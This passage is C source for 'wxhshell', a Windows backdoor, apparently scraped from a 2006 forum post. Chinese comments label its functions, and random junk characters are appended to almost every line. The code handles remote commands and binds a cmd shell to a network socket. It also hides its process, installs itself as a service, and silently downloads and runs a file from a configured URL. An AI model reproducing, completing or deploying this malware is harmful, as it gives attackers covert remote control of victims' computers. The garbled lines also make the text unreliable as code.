  } X^}I-M%{m  
  else { 5nv#+ap1 "  
C%$edEi  
    switch(cmd[0]) { [')m|u~FS4  
  "CSsCA$/  
  // 帮助 A-Sv;/yD_  
  case '?': { L-jJg,eY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bhTb[r  
    break; u)X=Qm)  
  } r?+%?$  
  // 安装 H*RC@O_hv  
  case 'i': { V)Z}En["1  
    if(Install()) >Wm `v.-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q8X feoUV  
    else ]fx"4qKM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T*8VDY7  
    break; >BIMi^  
    } f=(?JT  
  // 卸载 AF;)#T<  
  case 'r': { 5,3'=mA6  
    if(Uninstall()) hm84Aq= f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tX9{hC^  
    else 1->dMm}G[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jqWu  
    break; 0Is,*Srr  
    } a]JYDq`,3  
  // 显示 wxhshell 所在路径 BWeA@v  
  case 'p': { [pC$+NX  
    char svExeFile[MAX_PATH]; 3c#BKHNC  
    strcpy(svExeFile,"\n\r"); %+ @O#P  
      strcat(svExeFile,ExeFile); ypbe!Y<i]  
        send(wsh,svExeFile,strlen(svExeFile),0); m!|kW{B#A  
    break; ~bM4[*Q7  
    } wxR,OR  
  // 重启 ;,C)!c&  
  case 'b': { WZ-s--n#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0t^M3+nc  
    if(Boot(REBOOT)) ?J%1#1L"/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +6sy-<ZL:  
    else { [;r)9mh7  
    closesocket(wsh); 1t:Q_j0Ym  
    ExitThread(0); ;kFDMuuO  
    } yQ_B)b  
    break; r54&XE]O  
    } !POl;%\  
  // 关机 Buf/@B7+\  
  case 'd': { RY]#<9>M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `> 7; !  
    if(Boot(SHUTDOWN)) JmF l|n/H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iQ tN Aj  
    else { o1-m1<ft  
    closesocket(wsh); 3B1XZm  
    ExitThread(0); #ZJ _T`l  
    } h%o%fH&F!  
    break; gy,ht3  
    } Fu SL}P  
  // 获取shell ZOft.P O  
  case 's': { In:9\7~jC  
    CmdShell(wsh); ]mo-rhDsM  
    closesocket(wsh); eK6hS_E  
    ExitThread(0); Fz3fwLawI  
    break; 6%'.A]"  
  } 8UW^"4  
  // 退出 J ][T"K  
  case 'x': { q-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W^0w  
    CloseIt(wsh); jlkmLcpf  
    break; G<At_YS  
    } yWg@v +  
  // 离开 T_s _p  
  case 'q': { 1{r3#MVL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4E; VM{  
    closesocket(wsh); I!^;8Pg  
    WSACleanup(); !9u|fnC9  
    exit(1); J4QXz[dG  
    break; 931bA&SL=/  
        } aH 4c02s$  
  } E[2m&3&  
  } NE"@Bk cm  
cQ/5qg  
  // 提示信息 1e(E:_t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P?8GV%0$  
} H;?{BV  
  } '{a/2 l  
)LdP5z-  
  return; %@wJ`F2a_  
} )jU)_To  
k&&2Tq  
// shell模块句柄 `s"'r !  
int CmdShell(SOCKET sock) _4rFEYz$d  
{ '[U8}z3  
STARTUPINFO si; {\S+#W\  
ZeroMemory(&si,sizeof(si)); m`v2: S}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #Vl 0.l3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NMW#AZVd  
PROCESS_INFORMATION ProcessInfo; jq-p;-i  
char cmdline[]="cmd"; DQNnNsP:M-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3 *d"B tg  
  return 0; <A[E:*`*  
} ~"!] 3C,L  
AuUd e$l_  
// 自身启动模式 Y,GU%[+  
int StartFromService(void) _p# CwExuy  
{ CKtB-a  
typedef struct &+a9+y  
{ P<PJ)>  
  DWORD ExitStatus; vqnw#U4`  
  DWORD PebBaseAddress; Ipf|")*  
  DWORD AffinityMask; !,l9@eJQ  
  DWORD BasePriority; m#8m] Y  
  ULONG UniqueProcessId; s8QM ewU  
  ULONG InheritedFromUniqueProcessId; D;oe2E{I  
}   PROCESS_BASIC_INFORMATION; @.osJ}FxA  
oeKHqP wg  
PROCNTQSIP NtQueryInformationProcess; K\>tA)IPSV  
kd=GCO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3 j!3E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }XZ'v_Ti  
iDN;m`a  
  HANDLE             hProcess; m$`RcwO  
  PROCESS_BASIC_INFORMATION pbi; 6Se?sHC>  
fXXr+Mor  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); * "R|4"uy  
  if(NULL == hInst ) return 0; sJ# 4(r`  
/|r^W\DV&x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =7-9[{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e8y;.D[2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~hZ"2$(0  
-mC0+}h  
  if (!NtQueryInformationProcess) return 0; w3#Wh|LQ-  
kUq=5Y `D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W!%]_I!&K  
  if(!hProcess) return 0; ` BDLW%aL  
0n@rLF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #%`|~%`{:  
9)0D~oUi  
  CloseHandle(hProcess); v$~QU{ &  
j;']cWe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2]I4M[|&z  
if(hProcess==NULL) return 0; $9 ]m=S  
{SwQ[$k=_  
HMODULE hMod; @'YS1N<  
char procName[255]; @L>q (Kg  
unsigned long cbNeeded; &/mA7Vf>eR  
nS/)P4z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d1T,eJ}  
x HoKo  
  CloseHandle(hProcess); W [Of|?  
/ rg*p  
if(strstr(procName,"services")) return 1; // 以服务启动 0rh]]kj  
|w_7_J2  
  return 0; // 注册表启动 WEFlV4/  
} 0="%Y ^N  
&?VQ,+[ <  
// 主模块 tDSJpW'd  
int StartWxhshell(LPSTR lpCmdLine) (]b!{kS  
{ =fu :@+  
  SOCKET wsl; w<zIAQN  
BOOL val=TRUE; Ks=>K(V6  
  int port=0; g$( V^  
  struct sockaddr_in door; qi;f^9M%  
OH;b"]  
  if(wscfg.ws_autoins) Install(); D0gZC  
~ }F{vm  
port=atoi(lpCmdLine);  =Qh\D  
NXwz$}}Pp  
if(port<=0) port=wscfg.ws_port; W4hbK9y  
Z&0'a  
  WSADATA data; N U|d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; , 3,gG "  
.^N/peU q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @[5xq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J%x6  
  door.sin_family = AF_INET; xm%Um\Pb7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =jlt5 z  
  door.sin_port = htons(port); W`K7 QWV4  
;epV<{e$q4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FQT~pfY  
closesocket(wsl); dA@'b5N{"  
return 1; _Xnqb+  
} Is]aj-#r  
]GN7+ 8l  
  if(listen(wsl,2) == INVALID_SOCKET) { sW)Zi  
closesocket(wsl); ld3-C55  
return 1; -M%_\;"de  
} [`p=(/I&L  
  Wxhshell(wsl); MxWy*|J}  
  WSACleanup(); bSsh^Z  
*\=.<|HZ  
return 0; ~GTz:nC*  
u@~JiiC%  
} n9@ of  
f~Fm4 >\(  
// 以NT服务方式启动 x\F,SEj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -`<kCW"  
{ _$= _du  
DWORD   status = 0; |_o=^?z'  
  DWORD   specificError = 0xfffffff; qP{/[uj[K  
7nHF@Y|*"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .%.9n\b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,stN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wSb 1"a  
  serviceStatus.dwWin32ExitCode     = 0; 3= xhoRX  
  serviceStatus.dwServiceSpecificExitCode = 0; /V8}eZ97  
  serviceStatus.dwCheckPoint       = 0; j;s"q]"x]  
  serviceStatus.dwWaitHint       = 0; !6s"]WvF  
b'J'F;zh>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t=_J9|  
  if (hServiceStatusHandle==0) return; )jkXS TZ  
dYSr4p b  
status = GetLastError(); j{Hao\F8  
  if (status!=NO_ERROR) oo.!.Kv  
{ _cy2z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,Vh.T&X5  
    serviceStatus.dwCheckPoint       = 0; bA\<.d  
    serviceStatus.dwWaitHint       = 0; YGv<VOWG2  
    serviceStatus.dwWin32ExitCode     = status; Yu?95qktP  
    serviceStatus.dwServiceSpecificExitCode = specificError; <,3^|$c%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %6L^2 X  
    return; b8LoIY*  
  } fRy^Q_~,  
-:30:oq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~n[xtWO0  
  serviceStatus.dwCheckPoint       = 0; ox:[f9.5  
  serviceStatus.dwWaitHint       = 0; +x_Rfk$fb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *NkA8PC  
} 'rMN=1:iu"  
M&N B/  
// 处理NT服务事件,比如:启动、停止 <@}I0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f8M$45A'  
{ p!sWYui  
switch(fdwControl) `!D s6  
{ CamE'  
case SERVICE_CONTROL_STOP: 1QmH{jM  
  serviceStatus.dwWin32ExitCode = 0; T.Ryy"%F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U>V&-kxtV  
  serviceStatus.dwCheckPoint   = 0; >=UF-xk;  
  serviceStatus.dwWaitHint     = 0; 'd+N Vj{C  
  { MS0Fl|YA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dFH$l  
  } Fx5d:!]:$?  
  return; kGdt1N[  
case SERVICE_CONTROL_PAUSE: 66.5QD0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0j30LXI_  
  break; T/^Hz4uA7  
case SERVICE_CONTROL_CONTINUE: Jrg2/ee,*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )dY=0"4Z  
  break; w" SoeU  
case SERVICE_CONTROL_INTERROGATE: YyTSyP4  
  break; pY_s*0_  
}; _Qh z3'I1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?T>'j mmV=  
} z;A>9vQ_J  
Vs%|pIV  
// 标准应用程序主函数 QmLF[\Oo_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) krsYog(^z  
{ M7ers|&{  
0PU8 #2pR  
// 获取操作系统版本 ([-|}  
OsIsNt=GetOsVer(); Z^]|o<.<I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DyeQJ7p  
YqPQ%  
  // 从命令行安装 ;]gP@h/  
  if(strpbrk(lpCmdLine,"iI")) Install(); oqLfesV~  
-RS7h  
  // 下载执行文件 OCZ[D{i9@  
if(wscfg.ws_downexe) { x9x E&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 87:!C5e}  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5B&;uY  
} 4hAl-8~Q6  
O!Oumw,$  
if(!OsIsNt) { :um|nRwy9  
// 如果时win9x,隐藏进程并且设置为注册表启动 X{we/'>  
HideProc(); 6B@CurgB  
StartWxhshell(lpCmdLine); YO}1(m  
} wjh=Q  
else _)]+hUw Y  
  if(StartFromService()) N\HQN0d9  
  // 以服务方式启动 tID%}Zv  
  StartServiceCtrlDispatcher(DispatchTable); &}?$i7x5  
else ;5tazBy&:C  
  // 普通方式启动 RRGWC$>?  
  StartWxhshell(lpCmdLine); ]J:1P`k.  
1gmt2>#v%  
return 0; Ee@4 %/v  
}
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只看该作者 1 发表于: 2006-10-10
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